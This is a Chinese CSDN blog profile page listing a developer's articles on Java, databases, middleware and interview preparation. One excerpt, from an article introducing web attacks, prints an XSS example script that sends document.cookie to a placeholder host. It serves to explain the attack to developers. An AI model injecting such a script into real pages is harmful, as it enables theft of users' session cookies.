自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

冒险的梦想家的博客~

人生总要有一两个兴趣爱好,才能抵挡岁月时光。

  • 博客(58)
  • 资源 (1)
  • 问答 (1)
  • 收藏
  • 关注

原创 Java学习路线个人总结-博客

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3pN2kNn3-1634809319597)(https://raw.githubusercontent.com/xinxin0301/image/master/blogImg/202110211739081.jpg#id=j16Gm&originHeight=607&originWidth=1080&originalType=binary&ratio=1&status=done&

2021-10-21 17:43:53 1801 17

原创 Sharding-JDBC4.1.1分库分表实战

ShardingJdbc的概述1、概述官网:http://shardingsphere.apache.org/index_zh.html下载地址:https://shardingsphere.apache.org/document/current/cn/downloads/快速入门:https://shardingsphere.apache.org/document/current/cn/quick-start/shardingsphere-jdbc-quick-start/以下来自官网的原

2021-08-23 23:39:55 1602 19

原创 Kibana操作Elasticsearch? 这一篇

Kibana操作elasticsearch基本语法到高级语法实战索引操作查看集群中索引?GET /_cat/indices?v创建索引?PUT /index?prettyES的API组成结构:使用RESTful API风格来命名APIAPI基本格式:http://<ip>:<port>/<索引>/<类型>/<文档id> 常用HTTP动词常用HTTP动词:GET/PUT/POST/DELETEPUT 执行创建或修改,.

2021-08-02 15:00:03 328

原创 Seata1.4.2-分布式事务-Seata实战

Seata是Alibaba开源的一款分布式事务解决方案,致力于提供高性能和简单易用的分布式事务服务,本文将通过一个简单的下单业务场景来对其用法进行详细介绍。什么是分布式事务问题?单体应用单体应用中,一个业务操作需要调用三个模块完成,此时数据的一致性由本地事务来保证。微服务应用随着业务需求的变化,单体应用被拆分成微服务应用,原来的三个模块被拆分成三个独立的应用,分别使用独立的数据源,业务操作需要调用三个服务来完成。此时每个服务内部的数据一致性由本地事务来保证,但是全局的数据一致性问题没法保证。.

2021-06-01 16:35:44 2987 16

原创 Nodejs入门实战一篇精通

Node*.*js*® 是一个基于 Chrome V8 引擎 的JavaScript 运行时环境

2022-09-06 14:10:43 3140 2

原创 开发必备插件CSDN推荐Google和IDEA都可用

CSDN插件强烈推荐Chrome插件一、介绍更懂你的浏览器助手。常用网站自动整合,多种工具一键调用。为什么选择 CSDN浏览器助手?打造更酷的浏览器,解决工作各种难题解决你在浏览器上遇到的各种问题,无论你是学生小白、还是职场老鸟,都可以借助这个插件,打造个性化浏览器,提升工作学习效率。二、丰富界面2.1、自定义界面自定义布局,完成自己想要的页面比例或者是分配情况。适合自己的就是最好的!2.2、常用工具CSDN跟你准备了很多开发小伙伴所需要的一些工具,很灵活可以自己给单独列出来

2021-11-16 10:56:54 1154 2

原创 备战2022年春季面试Java面试题库-数据库Mysql篇《收藏》

前言本文部分内容为javaGuide创作经作者同意发出:原创作者码云地址JavaGuide、公众号:javaGuide本文主要涉及到的面试问题点比较多各种各样的,本文主要涉及到的是数据库Mysql,面试题我就把我常遇到的和一些出现频率比较多的问题整理出来了。如果想要学习资料的小伙伴可以点击下面的链接交个朋友我们一起交流点击一起学习❤Java学习路线个人总结-博客❤备战2022年春季面试Java基础面试题库《收藏》❤备战2022年春季面试Java面试题库-缓存篇Redis《收藏》❤欢迎点赞??

2021-11-08 08:00:00 2014

原创 备战2022年春季面试Java基础面试题库《收藏》

文章目录本文介绍1、Java基础JDK 和 JRE 有什么区别?== 和 equals 的区别是什么?hashCode()与 equals()基本数据类型Java 中的几种基本数据类型是什么?对应的包装类型是什么?各自占用多少字节呢?自动装箱与拆箱8 种基本类型的包装类和常量池重载和重写的区别重载重写深拷贝 vs 浅拷贝面向对象三大特征封装继承多态String StringBuffer 和 StringBuilder 的区别是什么? String 为什么是不可变的?Object 类的常见方法总结异常Thro

2021-11-06 05:00:00 2989 9

原创 Java虚拟机(JVM)面试题(2021最新版❥收藏)

文章目录一、运行时数据区域程序计数器Java 虚拟机栈本地方法栈堆方法区运行时常量池直接内存二、垃圾收集判断一个对象是否可被回收1. 引用计数算法2. 可达性分析算法3. 方法区的回收4. finalize()引用类型1. 强引用2. 软引用3. 弱引用4. 虚引用垃圾收集算法1. 标记 - 清除2. 标记 - 整理3. 复制4. 分代收集垃圾收集器1. Serial 收集器2. ParNew 收集器3. Parallel Scavenge 收集器4. Serial Old 收集器5. Parallel O

2021-11-02 14:25:31 346 4

原创 身为开发必须要知道的攻击技术,这样才能在代码路上越走越远~

一、跨站脚本攻击概念跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。攻击原理例如有一个论坛网站,攻击者可以在上面发布以下内容:<script>location.href="//domain.com/?c=" + document.cookie</script>之后该内容可能会被渲染成以下形式:<p><script>location.href=

2021-11-01 16:23:08 265 4

原创 史上最全Java容器集合技术

文章目录一、概览Collection1. Set2. List3. QueueMap二、容器中的设计模式迭代器模式适配器模式三、源码分析ArrayList1. 概览2. 扩容3. 删除元素4. 序列化5. Fail-FastVector1. 同步2. 扩容3. 与 ArrayList 的比较4. 替代方案CopyOnWriteArrayList1. 读写分离2. 适用场景LinkedList1. 概览2. 与 ArrayList 的比较HashMap1. 存储结构2. 拉链法的工作原理3. put 操作4.

2021-10-28 17:25:51 310 8

原创 Mysql入门到实战全

文章目录一、基础二、创建表三、修改表四、插入五、更新六、删除七、查询DISTINCTLIMIT八、排序九、过滤十、通配符十一、计算字段十二、函数汇总文本处理日期和时间处理数值处理十三、分组十四、子查询十五、连接内连接自连接自然连接外连接十六、组合查询十七、视图十八、存储过程十九、游标二十、触发器二十一、事务管理二十二、字符集二十三、权限管理一、基础模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息,数据库和表都有模式。主键的值不允许修改,也不允许复用(不能将已经删除的主键值赋给新数据行的主

2021-10-24 08:00:00 264 2

原创 RabbitMQ入门实战案例

文章目录安装步骤Windows安装简单队列模式["Hello World!"](https://www.rabbitmq.com/tutorials/tutorial-one-python.html)消息提供方消息消费方消息应答消息应答的方法消息自动重新入队RabbitMQ持久化队列持久化消息持久化不公平分发(消费端设置)发布确认发布确认原理发布确认的策略开启发布确认的方法单个确认发布批量确认发布异步确认发布交换机TopicTopic 的要求Topic 匹配案例实战提供者消费者1消费者2死信队列死心概念死信

2021-10-22 12:20:50 742

原创 flyway整合SpringBoot实战详细教程

1、简介Flyway 是一个开源的数据库迁移工具。它强烈支持简单性和约定而不是配置。迁移可以用SQL (支持特定于数据库的语法(例如 PL/SQL、T-SQL 等))或Java (用于高级数据转换或处理 LOB)编写。它有一个命令行客户端。如果您使用的是 JVM,我们建议您使用Java API(也适用于 Android)在应用程序启动时迁移数据库。或者,您也可以使用Maven 插件 或Gradle 插件。如果这还不够,还有 适用于 Spring Boot、Dropwizard、Grails、Play.

2021-09-09 14:57:53 3512 4

原创 MySQL分库分表原理

文章目录1、为什么要分库分表02、分库分表03、不停机分库分表数据迁移4、分库分表实现1、为什么要分库分表分库分表目的:解决高并发,和数据量大的问题。1、高并发情况下,会造成IO读写频繁,自然就会造成读写缓慢,甚至是宕机。一般单库不要超过2k并发,NB的机器除外。2、数据量大的问题。主要由于底层索引实现导致,MySQL的索引实现为B+TREE,数据量其他,会导致索引树十分庞大,造成查询缓慢。第二,innodb的最大存储限制64TB。要解决上述问题。最常见做法,就是分库分表。分库分表的目的,

2021-08-26 23:16:25 2228

原创 Sharding-Jdbc配置Mysql读写分离整合SpringBoot项目实战

文章目录前提条件1、新建SpringBoot工程1.1、项目依赖1.2、配置文件2、实现步骤2.0、SQL文件2.1、编写代码2.2、项目启动2.3、查询测试2.4、新增测试3、Props的其他相关配置前提条件首先在创建项目编写代码之前,我们需要搭建一个MySql环境那就是我们配有一个主从配的Mysql。我这边是采用Docker的方式进行搭建的传送门,然后在进行项目的搭建!https://blog.csdn.net/weixin_43831049/article/details/119880210

2021-08-26 22:54:45 512 1

原创 sharding-jdbc-spring-boot-starter Property ‘sqlSessionFactory‘ or ‘sqlSessionTemplate‘ are required

ShardingJdbc Property ‘sqlSessionFactory’ or ‘sqlSessionTemplate’ are required错误记录不能使用:druid-spring-boot-starter,不然会导致下面的问题:<!--使用这个出错 Property 'sqlSessionFactory' or 'sqlSessionTemplate' are required--><!-- https://mvnrepository.com/artifac

2021-08-26 22:20:31 1586

原创 DockerCompose安装Mysql配置读写分离

文章目录1、首先要安装Docker 以及Docker-composeDocker安装Docker-compose安装2、安装MySql3、配置主Master(主)修改容器配置添加用户赋权限4、配置从Slave(从)5、开启Master-Slave主从复制配置6、测试1、首先要安装Docker 以及Docker-composeDocker安装#查看内核➜ ~ uname -r 4.15.0-96-generic # 要求3.0以上#查看Centos➜ ~ cat /etc/os-rel

2021-08-25 00:26:35 1105

原创 Spring Cache @Cacheable、@CacheEvict、@CachePut、@Cacheing 使用

引入依赖<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-cache</artifactId></dependency>添加配置自动配置CacheAutoConfiguration 会导入 RedisCacheConfiguration;会自动装配缓存管理器 RedisCac

2021-08-15 13:45:31 1295

原创 Redisson+Redis实现分布式锁Lock

缓存使用​![image.png](https://img-blog.csdnimg.cn/img_convert/4c4cf0e1b0d6115a73a3bc463215b27d.png#height=540&id=u287c2b09&margin=[object Object]&name=image.png&originHeight=540&originWidth=631&originalType=binary&ratio=1&size=

2021-08-14 14:18:30 577

原创 Elasticsearch 安装ik分词器并自定义词库

文章目录分词器配置下载指定版本ik分词器配置重启测试IK分词器普通分词器IK分词器ik_smartik_max_word自定义词库新建词库文件引入自定义词库重启es测试效果分词器配置下载指定版本安装需要的版本https://github.com/medcl/elasticsearch-analysis-ik/releasesik分词器配置重启先下载好的分词器.zip文件上传到挂载目录plugins完成unzip 解压创建ik目录#创建ik目录mkdir ik#移动所有文件到i

2021-08-03 23:20:59 447

原创 CentOS 7 vim 中文显示乱码

Vim编码的详细介绍Vim和所有的流行文本编辑器一样,Vim 可以很好的编辑各种字符编码的文件,这当然包括 UCS-2、UTF-8 等流行的 Unicode 编码方式。Vim 有四个跟字符编码方式有关的选项,encoding、fileencoding、fileencodings、termencoding (这些选项可能的取值请参考 Vim 在线帮助  :help encoding-names),它们的意义如下:    1、encoding: Vim 内部使用的字

2021-08-03 22:11:02 2166 3

原创 Java操作文件读取指定文件行数据工具类

读取文件指定行数据/** * 读取文件指定行数(读取一行) * * @param filePath 文件地址 * @param lineNumber 指定行数 */ public static String readAppointedLineNumber(String filePath, int lineNumber) { String appointedLine = ""; FileReader in = .

2021-03-15 15:16:58 1142

原创 Java文件完整性校验SHA256

Java文件完整性校验sha256pom依赖<dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.12</version></dependency>Java代码测试大概十个G文件处理时间大概需要50秒import org.ap

2021-03-12 11:16:35 4098

原创 JVM与Java体系结构

JVM与Java体系结构前言作为Java工程师的你曾被伤害过吗?你是否也遇到过这些问题?运行着的线上系统突然卡死,系统无法访问,甚至直接OOMM!想解决线上JVM GC问题,但却无从下手。新项目上线,对各种JVM参数设置一脸茫然,直接默认吧然后就JJ了每次面试之前都要重新背一遍JVM的一些原理概念性的东西,然而面试官却经常问你在实际项目中如何调优VM参数,如何解决GC、OOM等问题,一脸懵逼。大部分Java开发人员,除会在项目中使用到与Java平台相关的各种高精尖技术,对于Java技术的

2021-03-05 14:31:03 164

原创 2021最新常见Java面试题,常见面试题及答案汇总

文档地址:链接:https://pan.baidu.com/s/1swa5FKfj8tZmScp0nXviMw提取码:i4hw2021年金三银四大家一起冲冲冲!!!复制这段内容后打开百度网盘手机App,操作更方便哦

2021-02-04 15:55:43 3114 7

原创 Sentinel规则持久化方式

Sentinel规则持久化文章目录Sentinel规则持久化FilePersistence配置类添加配置Spring Cloud Alibaba 系列学习笔记我们可以通过Dashboard来为每个Sentinel客户端设置各种各样的规则,但是这里有一个问题,就是这些规则默认是存放在内存中,极不稳定,所以需要将其持久化。本地文件数据源会定时轮询文件的变更,读取规则。这样我们既可以在应用本地直接修改文件来更新规则,也可以通过 Sentinel 控制台推送规则。以本地文件数据源为例,推送过程如下图所示:[外

2021-02-04 15:09:17 1095 10

原创 @SentinelResource注解使用方法总结

文章目录@SentinelResource注解总结定义限流和降级后的处理方法blockHandler fallbacksentinel定义限流、降级测试效果日志blockHandlerClass fallbackClassSpring Cloud Alibaba 系列学习笔记[SpringCloud Alibaba Nacos](https://blog.csdn.net/weixin_43831049/article/details/113501189)[SpringCloud Alibaba Senti

2021-02-04 14:37:21 520 2

原创 RocketMQ 使用入门案例

SpringCloud Alibaba RocketMQRocketMQ概述RocketMQ是一款由阿里研发的高性能高可靠性的分布式消息队列,使用Java语言开发,该项目已经贡献给了Apache基金会,成为Apache的顶级开源项目。在早期,阿里内部使用ActiveMQ作为其消息传递中间件,随着业务的快速增长,基于ActiveMQ的消息队列集群在处理大规模业务吞吐量时会遇到IO等性能瓶颈,阿里研发团队曾努力优化ActiveMQ,但无奈效果不理想,紧接着他们将目光投向Kafka,不幸的是Kafka并不能

2021-02-01 11:31:39 2198 3

原创 Sentinel 限流使用案例

SpringCloud Alibaba Sentinel流量控制文章目录SpringCloud Alibaba Sentinel流量控制什么是SentinelSentinel 具有以下特征Sentinel 分为两个部分微服务集成Sentinel在pom.xml中加入下面依赖安装Sentinel控制台修改YML配置文件编写测试类Sentinel管理平台、测试接口流量控制(flow control)添加流量控制测试错误什么是Sentinel​ Sentinel (分布式系统的流量防卫兵) 是阿里开源的一

2021-02-01 10:49:58 959 4

原创 Nacos踩坑篇

1、Nacos下载版本下载地址:https://github.com/alibaba/nacos/releases根据自己需要的版本环境选择下载安装2、解压启动解压启动这个地方发现一个问题,就是我解压完成在启动的时候闪退一道黑影闪过不知道发生了什么,查询资料发现Nacos启动必须要求JDK1.8以上,64位的系统,必须要有JAVA_HOME这个环境变量,查看了一下环境变量,发现当初配的时候没有用JAVA_HOME这个环境变量,于是重新配置了一下:1.JAVA_HOME为JDK的安装目录3

2021-01-08 16:40:23 2659 5

原创 微服务架构演变之 Spring Cloud Alibaba

文章目录1.1 系统架构演变1.1.1 单体应用架构1.1.2 垂直应用架构1.1.3 分布式架构1.1.4 SOA架构1.1.5 微服务架构1.2 微服务架构介绍1.2.1 微服务架构的常见问题1.2.2 微服务架构的常见概念1.2.2.1 服务治理1.2.2.2 服务调用1.2.2.3 服务网关1.2.2.4 服务容错1.2.2.5 链路追踪1.2.3 微服务架构的常见解决方案1.2.3.1 ServiceComb1.2.3.2 SpringCloud1.2.3.3 SpringCloud Alibab

2021-01-06 19:51:25 547 7

原创 Java操作阿里云OSS对象存储

阿里云OSS就不多介绍了吧,直接上代码!!!配置文件​ accessKeyId、accessKeySecret 找到自己对应的OSS控制台,然后去查看自己对应的参数##阿里云对象存储oss: accessKeyId: xxx accessKeySecret: xxx #储存桶名称 bucketName: xxx@Data@Component@ConfigurationProperties(value = "oss")public class OSSConfig {

2020-12-31 14:56:27 1237 2

原创 Docker常用命令大全

文章目录Docker常用命令镜像命令帮助命令容器命令启动、停止、重启、删除、列出容器进入容器查看容器源信息容器进程信息强制停止当前容器容器内外拷贝文件离线导出导入镜像DockerFileDocker常用命令镜像命令docker images #查看所有本地主机上的镜像 可以使用docker image ls代替docker search 搜索镜像docker pull 下载镜像 docker image pulldocker rmi 删除镜像 docker image rmdocker

2020-12-18 11:34:33 302

原创 Java实现FTP SSL 上传下载删除

支持SSL连接发现问题ftp.listFiles();如果在本地测试正常到服务器为NULL或0的话,检查防火墙或开启端口白名单当时被坑过!!!Maven<dependency> <groupId>commons-net</groupId> <artifactId>commons-net</artifactId> <version>3.1</version></depende..

2020-11-13 09:51:37 929 1

原创 Java实现SFTP上传下载删除文件

FTPS上传下载文件package com.info.provincial.utils;import com.jcraft.jsch.*;import org.apache.commons.lang3.StringUtils;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputSt

2020-11-03 10:15:09 1671 1

原创 Java解压压缩加密文件zip

Maven<!-- https://mvnrepository.com/artifact/net.lingala.zip4j/zip4j --> <dependency> <groupId>net.lingala.zip4j</groupId> <artifactId>zip4j</artifactId> <version>1.3.2</version> </dependency

2020-08-25 15:40:46 2614 1

原创 Java多文件上传下载打包Zip

一眼就看懂的代码,沾上就能跑Controller /** * @param request * @return java.util.List<java.util.Map < java.lang.String, java.lang.Object>> * form-data 传参方式 fileName * @Param 文件上传 **/ @RequestMapping(value = "/multifileUpload",

2020-08-19 15:52:38 1283

原创 文件处理下载后缀被截掉

文件下载后缀名被截掉原始@GetMapping(value = "/files/download/{real_name}/{file_name}")现在@GetMapping(value = "/files/download/{real_name:.+}/{file_name:.+}")/** * @param fileName 儲存文件名 * @param realName 下载文件名 * @param response **/ @GetM

2020-08-18 19:42:13 364

原创 Elasticsearch Java-Api 获取所有索引

Elasticsearch JAVA-API 获取所有索引EsConfig连接@Componentpublic class EsConfig { public RestHighLevelClient getEsHighInit2() { RestClientBuilder http = RestClient.builder(new HttpHost("127.0.0.1", 9200, "http")) .setRequestConfi

2020-08-13 15:22:21 4122 9

2021年Java各知识点综合面试题.zip

2021年大厂面试题大全,冲击年薪30-50

2021-08-04

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除